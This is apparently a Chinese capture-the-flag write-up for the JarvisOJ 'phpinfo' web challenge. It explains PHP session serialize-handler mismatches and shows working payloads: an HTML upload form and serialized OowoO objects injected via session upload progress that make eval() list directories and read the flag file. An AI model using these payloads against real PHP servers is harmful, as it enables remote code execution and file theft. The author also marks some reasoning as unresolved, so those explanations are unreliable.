jarvisoj phpinfo
涉及知识点:
php的session信息是储存在文件中的
session.save_path="" 指定储存的路径
session.save_handler="" 指定储存时使用的函数(默认是file)
session.auto_start boolen
session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)
(2)反序列化漏洞
session.serialize_handler存在以下几种
- php_binary 键名的长度对应的ascii字符+键名+经过serialize()函数序列化后的值
- php 键名+竖线(|)+经过serialize()函数处理过的值
- php_serialize 经过serialize()函数处理过的值,会将键名和值当作一个数组序列化
使用过程中如果想要修改,使用
ini_set('session.serialize_handler','php_serialize');
但这里设置的handler如果和默认的不同,就会出问题
比如默认是php的handler,在该页面设置为php_serialize
这是如果我们传入一个 '|O:5:"Class"';,这样的一个数据,在储存时就会加上键名进行序列化,但是进行读取的时候还是会按照php handler来处理,以|作为键和值的分隔符,将前半部分当作键,后半部分当作值,然后进行反序列化
(3)session.upload_progress.enabled
解析:
进入题目界面。发现是一道代码审计。
<?php //A webshell is wait for you ini_set('session.serialize_handler', 'php');//ini_set设置指定配置选项的值。这个选项会在脚本运行时保持新的值,并在脚本结束时恢复。 session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; } function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
有一说一看到 ini_set('session.serialize_handler', 'php'); 就要想到php的反序列化处理器。
在php5.5.4之前session.serialize_handler的默认是php。而在php5.5.4之后的版本中php的处理器就是php_serialize。乱换其他的处理器可能会有问题。
本题中的php版本为5.6.21但是设置的session.serialize_handler却是php。本题就是这个知识点引出的漏洞。
审计源码可以知道想要读取其他的文件必须通过析构函数中的eval()函数。
在使用session_start()时会自动加载session文件中的值,因为在这里在__destruct方法中使用eval,所以只要在session文件中写入这个类,就能够执行代码??(为什么session可以用?以后补上)
查看phpinfo从而得到我们想要的能够改变session的办法。
因为session.upload_progress.enabled=1,所以我们就可以post一个和session.upload_progress.name同名的变量,来使得我们上传的文件名写入session。。
所以当一个上传在处理中,POST一个与INI中设置的session.upload_progress.name同名变量,当PHP检测到这种POST请求时,它会在$_SESSION中添加一组数据。所以可以通过Session Upload Progress来设置session。
那么我们要干什么就不用说了,写一个本地文件上传程序,来传session.upload_progress.name = payload 就可以了。
<?php ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));'; } function __destruct() { echo serialize(); } } $m = new OowoO(); var_dump($m); echo serialize($m); highlight_string(file_get_contents('test.php')); ?>
本地文件上传到他的服务器的代码如下:
<!DOCTYPE html> <html> <head> <title>Cxlover</title> </head> <body> <form method="POST" action="http://web.jarvisoj.com:32784/index.php" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="Cxlover"> <input type="file" name="file"> <input type="submit" name="Cxlover" value="提交"> </form> </body> </html>
抓包,改包,发包,一气呵成。先查看本文件夹下的文件名。
构造payload: |O:5:"OowoO":1:{s:4:"mdzz";s:36:"print_r(scandir(dirname(__FILE__)));";}
发现藏有flag的文件,那么更改一下payload来读取就行了。
payload : |O:5:"OowoO":1:{s:4:"mdzz";s:88:"print_r(file_get_contents("/opt/lampp/htdocs/Here_1s_7he_fl4g_buT_You_Cannot_see.php"));";}
为什么要用 来转义呢,应该是防止"就近原则"吧。存疑好吧。注意用来序列化的原字符串不用加转义符号。